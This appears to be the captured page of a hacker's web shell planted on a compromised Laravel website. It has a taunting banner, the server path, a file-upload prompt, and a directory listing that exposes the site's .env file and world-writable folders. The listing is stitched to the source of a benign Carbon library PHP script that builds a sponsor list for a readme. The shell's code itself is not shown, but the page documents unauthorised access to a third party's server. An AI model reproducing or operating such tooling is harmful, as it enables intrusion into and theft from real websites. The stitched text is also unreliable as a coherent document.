I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
* * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Carbon\CarbonImmutable; require_once __DIR__.'/vendor/autoload.php'; function getMaxHistoryMonthsByAmount($amount): int { if ($amount >= 50) { return 6; } if ($amount >= 20) { return 4; } return 2; } function getHtmlAttribute($rawValue): string { return str_replace( ['​', "\r"], '', trim(htmlspecialchars((string) $rawValue), "  \n\r\t\v\0"), ); } function getOpenCollectiveSponsors(): string { $customSponsorImages = [ // For consistency and equity among sponsors, as of now, we kindly ask our sponsors // to provide an image having a width/height ratio between 1/1 and 2/1. // By default, we'll show the member picture from OpenCollective, and will resize it if bigger // int(OpenCollective.MemberId) => ImageURL ]; $members = json_decode(file_get_contents('https://opencollective.com/carbon/members/all.json'), true); $list = array_filter($members, static function ($member): bool { return ($member['lastTransactionAmount'] > 3 || $member['isActive']) && $member['role'] === 'BACKER' && $member['type'] !== 'USER' && ( $member['totalAmountDonated'] > 100 || $member['lastTransactionAt'] > CarbonImmutable::now() ->subMonthsNoOverflow(getMaxHistoryMonthsByAmount($member['lastTransactionAmount'])) ->format('Y-m-d h:i') || $member['isActive'] && $member['lastTransactionAmount'] >= 30 ); }); $list = array_map(static function (array $member): array { $createdAt = CarbonImmutable::parse($member['createdAt']); $lastTransactionAt = CarbonImmutable::parse($member['lastTransactionAt']); if ($createdAt->format('d H:i:s.u') > $lastTransactionAt->format('d H:i:s.u')) { $createdAt = $createdAt ->setDay($lastTransactionAt->day) ->modify($lastTransactionAt->format('H:i:s.u')); } $monthlyContribution = (float) ($member['totalAmountDonated'] / ceil($createdAt->floatDiffInMonths())); if ( $lastTransactionAt->isAfter('last month') && $member['lastTransactionAmount'] > $monthlyContribution ) { $monthlyContribution = (float) $member['lastTransactionAmount']; } $yearlyContribution = (float) ($member['totalAmountDonated'] / max(1, $createdAt->floatDiffInYears())); $status = null; if ($monthlyContribution > 29) { $status = 'sponsor'; } elseif ($monthlyContribution > 4.5 || $yearlyContribution > 29) { $status = 'backer'; } elseif ($member['totalAmountDonated'] > 0) { $status = 'helper'; } return array_merge($member, [ 'star' => ($monthlyContribution > 98 || $yearlyContribution > 500), 'status' => $status, 'monthlyContribution' => $monthlyContribution, 'yearlyContribution' => $yearlyContribution, ]); }, $list); usort($list, static function (array $a, array $b): int { return ($b['monthlyContribution'] <=> $a['monthlyContribution']) ?: ($b['totalAmountDonated'] <=> $a['totalAmountDonated']); }); return implode('', array_map(static function (array $member) use ($customSponsorImages): string { $href = htmlspecialchars($member['website'] ?? $member['profile']); $src = $customSponsorImages[$member['MemberId'] ?? ''] ?? $member['image'] ?? (strtr($member['profile'], ['https://opencollective.com/' => 'https://images.opencollective.com/']).'/avatar/256.png'); [$x, $y] = @getimagesize($src) ?: [0, 0]; $validImage = ($x && $y); $src = $validImage ? htmlspecialchars($src) : 'https://opencollective.com/static/images/default-guest-logo.svg'; $height = $member['status'] === 'sponsor' ? 64 : 42; $width = min($height * 2, $validImage ? round($x * $height / $y) : $height); $href .= (strpos($href, '?') === false ? '?' : '&').'utm_source=opencollective&utm_medium=github&utm_campaign=Carbon'; $title = getHtmlAttribute(($member['description'] ?? null) ?: $member['name']); $alt = getHtmlAttribute($member['name']); return "\n".''. ''.$alt.''. ''; }, $list))."\n"; } file_put_contents('readme.md', preg_replace_callback( '/()[\s\S]+()/', static function (array $match): string { return $match[1].getOpenCollectiveSponsors().$match[2]; }, file_get_contents('readme.md') ));